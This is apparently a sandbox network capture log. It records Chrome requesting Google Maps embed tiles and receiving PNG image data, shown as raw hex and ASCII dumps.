2024-04-23 14:54:22 UTC	627	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 33 50 4c 54 45 f1 f3 f4 fb fb fb f8 f8 fb e1 e1 e5 e9 e9 ed ed ed f1 71 75 79 dd dd e1 e5 e5 e9 a9 b5 b9 d1 d9 dd bd c9 cd 91 a5 a9 ff ff ff 79 91 9d 55 6d 79 9d c1 f8 8c bb 22 2b 00 00 0f 66 49 44 41 54 78 da ed fd 89 62 e3 28 0c 05 00 70 73 f8 9a ff ff da 7d 12 d8 71 da 24 3d 36 c6 b8 f6 9b dd 69 ea 1c 93 27 4b 42 12 20 c4 57 b0 7e 00 7c f0 62 60 28 ed 2d 5d 37 da 07 5c 12 5e 1c 01 9a be bd 09 bf 79 ab d5 59 00 92 e9 4b e3 f9 53 82 d7 36 5f d1 56 1c 00 c1 e0 ab 42 0c bf 80 0d 74 db cb ed 17 9a f8 da c0 37 3f 4b c4 1f 42 00 26 f0 77 fd cd 5b 59 00 85 6c f0 5e 6b fc 65 e4 7c 49 e9 5f a9 Data Ascii: PNGIHDRkXTpHYs3PLTEquyyUmy"+fIDATxb(ps}q$=6i'KB W~\|b`(-]7\^yYKS6_VBt7?KB&w[Yl^ke\|I_
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: f2 0a 6e f1 96 cf 85 bb b8 97 7c 21 3e e1 be d8 61 74 79 67 db 2a f0 3d f2 50 e8 bb 74 ce af e2 de 72 dd ac e5 93 5f d4 bc 0a dc 82 fb 9f 90 67 14 6a f6 55 79 6f 29 0c 36 a9 02 f6 2e b8 7f 49 fe c1 fd cb 4f 0b ff ba 62 ea 67 35 69 4d 05 fe 1f 79 02 bf 40 7f 55 e1 0a 73 1c d9 92 0a 7c 8b 3c 8d 75 4f c9 13 d8 f8 bf 2c 17 e7 94 78 68 47 05 be 4d 5e 9b 2f be f0 6b e3 5f a0 4b 8e dc 84 0a bc 8d 3c c1 7f 6f ba 24 57 55 87 fd 55 c0 7c 4c e8 ff 0f 79 c2 77 e9 cc 23 e1 9e 2a f0 76 f2 3f c1 12 0c ed a4 02 bb 92 67 cc 23 e1 2f a7 d9 ff 0f be 4d 7e d3 f9 8a 25 18 aa ab 02 6d 90 27 2c 23 61 3d 15 e0 52 4e 13 e4 19 4b 30 b4 91 0a a4 38 3a e7 c6 98 f8 b7 97 75 ac fa e4 19 4b 55 91 55 40 c9 5c 4d 91 52 aa db 6b 14 e1 37 1f 1e 7a 37 66 b8 5e 9b f6 c8 03 52 cd 5f 89 55 40 Data Ascii: n\|!>atyg=Ptr_gjUyo)6.IObg5iMy@Us\|<uO,xhGM^/k_K<o$WUU\|Lyw#v?g#/M~%m',#a=RNK08:uKUU@\MRk7z7f^R_U@
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 14 01 15 68 de 03 d2 b2 c9 b2 be 92 c8 8f 1c cd 22 dd 73 f4 f3 99 00 38 7f bc 13 80 a2 34 51 72 fd 60 fd d9 50 80 03 2c 46 35 73 91 0a 7a cf a9 9f ca e9 de 5d 14 34 e7 88 22 cf a6 24 bd 0e fb 38 4c a2 34 31 de 59 00 6c c0 b5 3e 04 dc 83 53 3e 7a c0 54 e7 6c 4f e5 f9 31 7a 8c 4d 59 c3 07 48 5c 53 2a 0f 9f c6 a5 fb 38 3a 35 ef 02 7f 84 a0 1f d0 bf ad 40 cd 15 22 f1 67 f1 05 fd 32 8f 28 fe 2a be a4 2f 56 55 94 bf 87 ef d0 ff c3 30 9f e9 a3 82 72 22 fa f6 01 fd a3 34 5a f8 df 30 fa 73 c7 81 8b be 38 09 2e fa 17 fd 8b fe 39 e9 db 07 f4 55 38 11 7d f3 88 fe 91 b7 9a ff 04 17 fd 8b fe 45 ff a2 7f d1 bf e8 d3 ee cb f3 d0 0f 9f 9b 4d 48 a3 2f fa a7 c0 45 ff a2 7f d1 bf e8 9f 90 be 78 44 df 9e 88 fe b9 a7 79 2e fa 17 fd 8b fe 45 ff a2 7f 36 fa d7 04 ff 35 cb 75 d1 Data Ascii: h"s84Qr`P,F5sz]4"$8L41Yl>S>zTlO1zMYH\S8:5@"g2(/VU0r"4Z0s8.9U8}EMH/ExDy.E65u
2024-04-23 14:54:22 UTC	946	IN	Data Raw: a3 ed 2a a8 fb 16 05 6e 28 0d 0d 74 d0 37 fa 62 f6 02 72 c3 7d fe 7b 15 c6 3e 21 b7 b4 40 34 b0 d0 5f 22 42 eb b7 d4 50 df 88 0d 88 fb c3 e5 c5 2d 24 f2 db d6 6c 5a b1 81 39 1a 28 f4 97 98 40 6f 5d 39 b6 bb 17 05 66 98 32 16 62 d8 37 b7 90 68 7b e3 dc bf 28 30 23 27 05 62 c9 86 73 48 b4 39 f6 2e 8c dd 50 46 82 95 ef ab a2 97 a6 19 1b 28 23 41 86 f5 d5 ea d5 0d 75 13 58 d2 41 51 73 e6 b4 a1 7e 12 39 32 af e3 fb 6e 68 a9 9f 42 f6 83 b5 1b 3c 35 64 03 fb f4 b8 6b a9 a7 4a f6 83 b6 ee 97 31 2d 6d 24 e4 d0 5c d6 4d 4e b2 eb 11 6d ac e2 35 7b b4 39 0b 39 15 f5 4d 2c 63 2e 7e b0 62 68 ca 2b 77 52 74 58 bb d3 c2 22 de ec 07 55 3d 3f 08 c5 c7 4a 56 37 c6 be 6f 64 25 3b 97 c7 4c 35 3f 88 bd 1c 6e 1c b1 72 4d 8e 8d ec e9 c8 7e b0 9a 0a 28 fc 53 12 db 5a b0 88 b7 11 Data Ascii: *n(t7br}{>!@4_"BP-$lZ9(@o]9f2b7h{(0#'bsH9.PF(#AuXAQs~92nhB<5dkJ1-m$\MNm5{99M,c.~bh+wRtX"U=?JV7od%;L5?nrM~(SZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.6	50066	74.125.136.99	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	1324	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18860!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=63550 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2sus Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	628	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:22 GMT Cache-Control: public, max-age=900 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 04bddb568c0f6e9ea Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 3546 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=115 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	627	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 2a 50 4c 54 45 f1 f3 f4 dd dd e1 a9 b5 b9 fb fb fb e5 e9 e9 ed ed ed e1 e1 e5 f8 f8 fb c5 c9 c9 ff ff ff 91 95 99 71 75 79 e9 e9 ed 81 85 89 b1 50 f3 f0 00 00 0d 56 49 44 41 54 78 da ed fd 89 72 dc 28 10 05 00 70 73 48 fa ff df cd 6b d0 c4 63 cf 29 24 d4 8c f1 ab dd d4 56 36 76 cc 9b a6 2f fa 10 7b 61 e6 18 a3 77 62 58 38 0b 02 ec c8 04 78 10 30 1b 31 2c a4 06 01 ce 8a 51 61 25 ce 1f a5 18 16 d6 90 0e 1c 98 00 43 3a 50 8c ac 03 05 19 81 91 75 20 19 01 33 8b 61 91 75 e0 c8 46 c0 fd 19 81 b1 8d 40 21 60 60 23 f0 27 01 a3 eb 00 21 ff 08 f8 23 e0 8f 80 b1 09 18 3c 1d 50 12 42 e6 8f 00 31 2c Data Ascii: PNGIHDRkXTpHYs*PLTEquyPVIDATxr(psHkc)$V6v/{awbX8x01,Qa%C:Pu 3auF@!``#'!#<PB1,
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 7c f8 2a 99 84 a2 99 61 4b c7 a8 60 02 55 23 6a d8 d2 b1 10 7c a4 f7 b2 6e fc c1 93 ab b9 61 07 e9 f8 4b 37 a6 50 3a 79 6e 73 27 52 23 88 88 64 2f 02 20 45 d4 ee d4 0e 77 04 85 d4 4b 14 fb e8 23 70 e7 0f 79 d0 81 f2 22 9d b4 93 cd b9 bb f5 dc 49 3f f8 f8 75 37 04 e4 19 0f 5a 9e 2a 8d da ca 6e 24 20 5f 80 38 bf 25 00 d6 18 07 ec e7 0a a9 b1 04 4b 18 3b 18 ad 61 73 67 e3 7b 0d ee 38 ba 45 81 83 95 bb 67 a2 94 3e 0a 65 3b e8 25 92 34 e5 e5 3d 1b 60 5d be b7 f4 c7 77 2b 0c 44 84 89 aa 07 d9 13 43 ce bc af 01 f3 5c b8 02 2b f7 0a af 46 1b 05 1e 09 26 66 02 b6 5c 80 2f 09 c8 5f b2 4b 08 90 14 51 49 75 20 01 f9 02 44 f7 e6 9d 26 1d 80 99 48 e5 1a 98 3d 0c 68 a9 a8 95 ca 72 17 0c 19 b3 cd 05 80 15 30 b3 34 45 10 e6 1d 0c 68 b5 a8 dc 50 28 78 91 2f c0 66 17 c0 e5 Data Ascii: \|aK`U#j\|naK7P:yns'R#d/ EwK#py"I?u7Zn$ _8%K;asg{8Eg>e;%4=`]w+DC\+F&f\/_KQIu D&H=hr04EhP(x/f
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 41 f1 88 4f 63 80 bd 62 fd 16 17 06 4e 52 4c ef 77 ee d9 b3 82 f5 c2 c0 59 fe d0 7b ae d0 8c 52 8e f3 6c c5 a9 0c bc 76 85 66 87 02 1f 9b 6b 79 c4 49 28 45 c6 e7 30 f0 3c 1e 5a 0f 1f 57 88 93 30 9f c9 c0 0f 57 c8 eb 8c bc 0c d3 5e 1f fe 4c 02 4e 65 e0 fb 08 03 1c 3d 28 05 cd e8 45 08 f1 1b f4 99 5b d8 56 06 ce 78 2f fc de b6 42 53 9e 31 e4 58 45 ec fc 50 d7 87 c7 65 38 35 5b 35 67 f3 74 06 03 d7 ae 90 35 5e 62 ed 1f 16 be c8 30 85 ef 87 3f 3b 5e 28 1d 37 27 30 b0 4e b1 10 34 d6 d7 60 be 6b fe e0 b1 f6 28 13 e0 79 0e 9f e1 ce 62 a0 24 a2 bc 96 99 89 98 52 f9 25 29 28 41 ae c3 67 ac 0c 34 f0 bf f4 f5 7e 53 1c 3d 5a 2b 15 0d 77 a6 bf 2f 4c 50 0a 6a c2 3f ec 8b af 0a 03 07 ac b2 fa 06 ac 7a 16 72 9d e5 0f 22 a0 ed 21 f1 f9 ca e3 d4 44 38 ad 42 87 04 c8 c9 f1 Data Ascii: AOcbNRLwY{RlvfkyI(E0<ZW0W^LNe=(E[Vx/BS1XEPe85[5gt5^b0?;^(7'0N4`k(yb$R%)(Ag4~S=Z+w/LPj?zr"!D8B
2024-04-23 14:54:22 UTC	409	IN	Data Raw: 7d ee f9 9f 9b 9a 67 8f 0b ff a7 07 e3 f8 3d bf af bd c2 d3 d4 30 45 0b 8f 94 e0 9a b2 c7 f0 e4 4f 3e fe 8b 09 93 24 00 0f 62 81 b2 55 08 c7 ef f9 5d e1 2d 3c eb a2 a4 f9 af 0f 08 58 57 f7 7e fc f1 5f a6 86 1f 11 c0 bc 36 f4 40 bc 48 0d 3f 20 c0 9a c6 c9 8a f3 f0 22 35 fc 50 02 88 00 f3 0b 6e c0 ab 52 99 87 04 88 cf f6 7f ae f0 bc 54 e6 b9 15 f8 3d 4a e0 a1 2f ff 88 00 c6 a9 a8 47 e3 79 a9 cc 43 02 f8 a6 a2 1e 8d e7 0f 30 8f 83 21 c6 f9 e0 07 e3 79 a9 cc e3 60 88 71 44 fc b1 a8 5c fe 65 dd 6f b1 84 b5 55 c3 92 71 44 fc a1 a8 2d 95 d9 b6 72 be 67 d4 96 ca fc 1a 4b 58 5b 2a 63 7e 8b 25 ac 2e 95 91 8c cb 52 8e 44 71 85 2a b4 d9 6f b1 84 d5 53 65 4a 20 35 7f be 25 ac 7e 88 ff 2d 96 b0 fa 15 f2 b7 58 c2 fa aa e1 62 09 3f 5e 04 ea 0b d2 1e ae ce 9b 3f 4b 2a ea Data Ascii: }g=0EO>$bU]-<XW~_6@H? "5PnRT=J/GyC0!y`qD\eoUqD-rgKX[c~%.RDqoSeJ 5%~-Xb?^?K*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.6	50069	172.253.124.147	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	798	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=12999 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	626	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:21 GMT Cache-Control: public, max-age=899 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 02f80b146a348d9d7 Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 4222 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 3c 50 4c 54 45 f1 f3 f4 fb fb fb a9 b5 b9 e9 e9 ed e1 e1 e5 7d 91 99 ed ed f1 e5 e5 e9 ff ff ff 91 a5 a9 d1 d9 dd f4 f8 f8 bd c5 cd d9 dd e1 69 81 89 71 75 79 5d 75 81 55 6d 79 4d 51 55 79 91 9d 03 dd d0 9f 00 00 0f e8 49 44 41 54 78 da ed fd 87 62 c2 38 0c 05 00 78 3b 3b c0 fd ff bf de 93 ec 0c 20 2d a4 87 9d 1c 89 6e b0 4a 1b 3d c9 5a 96 15 b1 35 79 5d 14 85 6c 9d 48 4f ba 95 c5 13 89 ad c9 19 ba 0c d7 8a 0c b4 84 80 d8 9c 8c a3 eb 30 5a 64 20 dd 6a b9 3b 00 1c 8b a5 ce a2 02 d0 b7 d6 3b e7 44 cd 24 77 01 40 b0 02 85 f7 22 0b 39 ed bd 37 81 da 36 0f ec 2f c8 b5 75 36 3b f8 48 ae 16 3b Data Ascii: PNGIHDRkXTpHYs<PLTE}iquy]uUmyMQUyIDATxb8x;; -nJ=Z5y]lHO0Zd j;;D$w@"976/u6;H;
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 82 fd b7 39 81 17 00 b8 d6 47 e9 4b 68 c2 d7 31 4f f4 2b 00 a3 f8 89 fd ef 6c a2 08 93 d6 97 01 18 c5 2f 75 fb b5 3d 24 9a e6 a9 2d cf 14 1c c5 2f da 2f ee 21 f2 34 56 72 69 8e d0 24 7e df 7e 73 07 11 0f 52 72 cf d1 ed 5c fc e2 9b 29 b4 09 3e 9a f7 a3 88 5f fc 30 47 e9 30 e2 27 51 3f 3b 81 03 89 3f 3a 81 fb 51 62 07 12 bf 88 f7 9a 98 3b 01 7d 24 f1 8b 67 27 60 0e 25 7e f1 e8 04 8e 26 7e f1 d0 2b 7e 38 f1 8f 4e 80 01 38 a0 f8 a9 d0 39 3a 81 51 fc ae 3d d0 6d 27 d8 09 d4 66 2e 7e 73 a8 b3 03 9c 0a c1 09 1c 53 fc 22 3a 01 94 f9 8e 29 7e 31 38 81 a3 8a 7f 70 02 87 15 7f 74 02 c5 51 c5 2f 62 2a 74 34 f1 3b a2 f8 9c 9d c0 c1 c4 4f 7b 1b 9e 6e fb c7 24 0e b7 fa c3 7d 55 06 bd e7 1b 40 1e 6b f5 2f dc 03 f5 58 c6 7f dc e8 9b e8 58 ed 31 ba 15 f1 d6 a7 e3 3a 38 58 Data Ascii: 9GKh1O+l/u=$-//!4Vri$~~sRr\)>_0G0'Q?;?:Qb;}$g'`%~&~+~8N89:Q=m'f.~sS":)~18ptQ/b*t4;O{n$}U@k/XX1:8X
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: f6 b2 28 eb 42 f4 ed 76 00 70 65 2e f6 86 8a cc 44 a2 2f 6c 55 db 0d 97 40 58 03 a1 29 2c fb e4 f2 1a 9d 5b 65 af 8a d2 6f e9 08 a9 fa e3 da 6d a2 72 29 6c a9 82 19 d8 8e 30 c1 c5 b7 31 2a cf 1d 94 72 1d b6 6e 55 5e 1b f8 58 df 72 5a bb 21 29 10 79 a9 2e 1a 65 11 07 34 d9 00 a0 22 e0 62 81 93 cb a0 d9 cd 60 2d 7b ab 9a 96 9a 7b 45 0e 42 79 47 53 21 6e e1 23 4e 0a 0a 9d d9 0a d4 dc d1 09 35 c8 03 40 3c 10 b2 08 80 c8 d0 19 ba 40 01 01 18 a0 f4 00 60 78 cd 38 c2 68 e9 f3 58 af cc 8d 00 b2 81 d2 2b 2b 92 1b 01 9c 87 1d 2b 81 cb 7f 6c 13 04 6a 59 f6 a5 75 65 fa 35 30 de aa 84 0a e2 cb 3f 12 11 c8 ea 0b 01 00 e2 a0 b6 b1 e9 01 88 4d 1f 54 ed fe e9 67 02 02 26 2f 00 50 7f 55 e2 1c 13 f7 71 27 a4 b8 db f7 fb 51 30 42 20 f3 6d ac a4 a3 7a 40 29 a8 30 94 14 81 78 Data Ascii: (Bvpe.D/lU@X),[eomr)l01*rnU^XrZ!)y.e4"b`-{{EByGS!n#N5@<@`x8hX+++ljYue50?MTg&/PUq'Q0B mz@)0x
2024-04-23 14:54:22 UTC	1083	IN	Data Raw: b6 ef 00 c0 0f 36 d5 90 d7 51 46 48 f3 07 69 ee 26 d9 f6 31 13 ac f0 da 50 b6 88 81 6c 94 20 e2 43 4e 22 09 00 24 70 85 a1 6f 87 4b 9e 55 04 d6 b9 40 a6 70 d9 65 59 be 5d 16 99 2d 6d 51 bf c7 f6 1d 00 ac c7 f0 e8 c8 fa 2e 96 32 42 4c 5c bb 60 ee 26 d6 22 46 6f 8e 99 a0 a5 e0 08 31 42 07 0b 8d 89 9c 56 c4 24 12 49 03 42 09 84 c6 e5 b8 70 c6 94 78 4d 1a 30 10 b2 f3 f7 f7 c7 c0 3b 38 77 cf 4b fb 2f 00 40 d4 5d 0c 74 c9 da ab 0b de 43 4e d8 35 31 13 14 f8 b8 91 2a 24 8f a2 53 31 89 54 e0 5f 46 45 18 2e 39 1a c2 75 1e 30 12 8c 00 8a a2 4d 2f 7f d7 80 c8 ba f8 3b eb 4f 00 c8 21 23 0c 33 f7 90 fb 2a 8b 31 9c 43 a4 df 55 a6 83 1a d8 2a 64 3e 63 12 69 d9 60 28 db cc b6 f4 86 b2 d0 5f 76 5e 28 d8 c2 85 99 9f f9 67 de b5 5b ab ec cb f4 33 00 30 04 ea 62 79 28 6b e0 Data Ascii: 6QFHi&1Pl CN"$poKU@peY]-mQ.2BL\`&"Fo1BV$IBpxM0;8wK/@]tCN51$S1T_FE.9u0M/;O!#31CU*d>ci`(_v^(g[30by(k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.6	50070	172.253.124.147	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	798	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18862!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=93519 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	626	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:21 GMT Cache-Control: public, max-age=899 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 0906765ce366a0d80 Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 5829 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=4 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 7e 50 4c 54 45 f1 f3 f4 fb fb fb ff ff ff dd dd e1 f4 f4 f4 e5 e5 e9 e9 e9 ed e5 e9 e9 a9 b5 b9 d1 d9 dd e1 e1 e5 a5 a9 a9 d9 dd e1 71 75 79 95 99 9d dd e1 e5 bd bd c1 ed ed f1 c9 c9 c9 ed ed ed f8 f8 f8 4d 51 55 e9 ed ed f4 f8 f8 79 7d 81 85 89 8d 69 85 91 ed f1 f1 7d 91 99 c9 d1 d5 f8 f8 fb 65 69 6d 91 a5 ad 5d 75 81 59 5d 61 55 6d 79 cd 29 25 9d c1 f8 79 91 9d e9 41 35 bd d5 f8 b1 15 11 74 d5 1f 26 00 00 15 ed 49 44 41 54 78 da ed fd 07 63 e2 3a 12 80 01 a8 ba bb bb d1 29 29 fb fe ff 1f bc 91 64 1b 9b 00 01 2c b0 73 c9 dc ed b2 8f d4 f9 2c 4d 93 34 42 84 d8 9b 9c 11 ab c2 0c fd 4a 31 Data Ascii: PNGIHDRkXTpHYs~PLTEquyMQUy}i}eim]uY]aUmy)%yA5t&IDATxc:))d,s,M4BJ1
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 10 65 a9 72 8c 30 10 c4 9c c0 d2 90 8a 02 f4 05 a2 0b ee dc ee 51 d3 09 2c 0c 50 31 0a f5 45 01 0b 5a 20 e7 66 83 36 01 00 0b 4f fc f4 50 db 4f 17 a5 85 db 83 8a 09 00 28 44 51 06 7b 48 97 38 62 40 f1 5b 95 49 c7 5f 1a 32 65 31 48 5f 18 f4 30 80 b1 aa a2 d2 06 c6 da a2 90 85 2c af fe 24 00 2a 0c d2 65 03 0d 8a ee 33 29 a3 d7 c5 d5 9a a0 9e 30 68 c1 29 97 7e 7d 7d bb 49 19 1d 80 0c 83 b4 ac 09 1a 0e 35 54 72 bb a6 b7 0f a8 d1 01 a8 54 70 70 18 b4 30 69 88 30 b9 5b ff d1 01 2c 64 18 64 0c fc d9 b1 e3 99 59 a3 c8 5d fa 8f bd 34 04 61 9b f8 d9 ce a0 18 c4 a0 34 c6 8d 1a 8c 7b 77 19 d4 71 97 86 6a 9b 3d c4 04 08 c3 d7 ee f9 c6 71 48 ef 1c 4c 63 d6 c5 17 86 dc 14 00 63 ef e1 28 e0 68 f8 40 32 c3 73 ee 8e e6 c6 02 b0 30 38 f5 54 45 f2 61 fd bb 86 8f 60 e4 50 fe Data Ascii: er0Q,P1EZ f6OPO(DQ{H8b@[I_2e1H_0,$*e3)0h)~}}I5TrTpp0i0[,ddY]4a4{wqj=qHLcc(h@2s08TEa`P
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: e0 9f 0e 00 1a 0f 1a bf 1c c0 fb 05 b9 f1 cb 53 d5 6c 01 69 93 57 1f 9b 2a 2e 01 b8 d5 09 eb 2e 08 bc fc d4 d0 85 29 70 f3 1c f8 f1 00 8a 89 01 58 bc bc a3 de a5 21 70 e3 97 2b 00 1a cf 9a bf 7c 65 e4 d2 10 b8 d1 08 a8 63 76 1a ed f5 eb 97 86 86 39 42 ed 15 91 d7 03 28 34 00 d0 58 11 19 61 6d ec fc 10 b8 71 5a 6b af 88 8c b0 34 c4 cf e9 7f 6b 70 a7 3d 1d 1c 63 6d ec df c3 13 a0 49 07 35 76 dc 18 63 6d ec cc 10 b8 f9 6b eb 9e 2b 48 9b 8c b2 30 f0 65 08 dc 11 85 6b ee 38 31 0e 00 fe a0 01 10 42 35 bb 81 e7 00 f0 ac 8f f9 7c fe 61 5d 1a aa bd 21 70 df ea 88 6e 37 d0 07 50 d6 72 c3 17 32 f5 69 e2 b3 d5 c6 d1 e3 de 51 73 0b ca 0b 99 cf b7 97 7c 6b f1 af 86 70 ef fa 98 6e 37 d0 5b 1b 63 ed ee c8 cb 5f c0 ea 8f 8a cf 62 f2 6f 62 22 62 5a 98 24 b6 fa 32 bb 56 5f Data Ascii: SliW*..)pX!p+\|ecv9B(4XamqZk4kp=cmI5vcmk+H0ek81B5\|a]!pn7Pr2iQs\|kpn7[c_bob"bZ$2V_
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: db 59 a0 1d 73 42 06 66 11 3a d5 79 26 db ce 1d 06 ff 55 84 60 2e 16 c2 06 28 00 45 9d 32 16 c7 d4 f1 08 00 86 c0 d3 06 80 3e 37 b0 3c 24 47 00 4b 30 f9 db 03 24 81 72 76 b3 3a 27 46 a2 10 0e 6f cf 77 11 54 3f 55 5a 58 03 68 52 c6 6e ea 78 fc de 00 e0 69 b7 46 98 e2 86 52 1d fb 45 21 ad eb f4 f7 b3 0b 82 43 bb ce eb c0 bb 87 3b 95 1a 32 91 07 da 38 83 4f 65 b6 99 e1 a3 c8 f4 90 f5 52 c7 56 b6 bb e7 b8 00 21 da 8e 10 c3 6f dc cd 06 89 4a 74 a4 80 ea 81 db 28 24 d7 07 54 d4 9c c9 04 50 e5 82 75 7a d8 4f 1d 1b b1 9f 37 03 9a 23 c4 5a 46 58 0f 40 67 b7 2c 4c 8d 25 ea 85 fc 72 51 ee 8e 65 c9 67 5e 9b 